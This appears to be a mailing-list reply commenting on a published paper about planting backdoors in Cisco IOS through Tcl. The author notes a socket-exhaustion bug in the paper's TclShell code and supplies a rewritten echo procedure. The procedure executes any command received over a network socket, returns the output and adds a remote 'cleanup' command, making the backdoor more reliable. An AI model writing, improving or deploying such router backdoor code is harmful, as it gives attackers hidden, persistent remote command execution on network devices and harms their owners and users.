Re: Creating Backdoors in Cisco IOS using Tcl

[michael@xxxxxxxxxxxx]

A quick comment on the TclShell source code (v0.1) included in 
http://www.irmplc.com/content/pdfs/Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf

The echo procedure fails to close the client socket on EOF.  This will cause 
the readable fileevent to trigger repeatedly consuming CPU and never freeing 
the socket.  As the Tcl interpreter on Cisco devices has a relatively small 
number of sockets (255 total system wide if memory serves) repeated connections 
to the backdoor would exhaust all available (to Tcl) sockets on the device 
effectively DoS'ing other Tcl scripts and probes running.

I'd recommend rewriting the echo proc as:

proc echo {sock} {
    global var

    if {[catch {gets $sock line}] || 
        [eof $sock]} {
        return [close $sock]
    }

    # allow a special command to "clean up"
    if {$line == "cleanup"} {
        set var done
        puts $sock "(closing backdoor...)"
        return [close $sock]
    }

    catch {exec $line} result
    if {[catch {puts $sock $result}]} {
        return [close $sock]
    }
}

The above version makes sure sockets are closed when they should be.  It also 
takes advantage of the "vwait var" already present in the script (which kicks 
off the event loop and allows incoming connections to be processed) and 
provides a method to remotely close the backdoor once it is no longer wanted. I 
suspect something like this was intended in the original version since the 
original echo proc calls "global var" despite never doing anything with the 
variable var afterwards.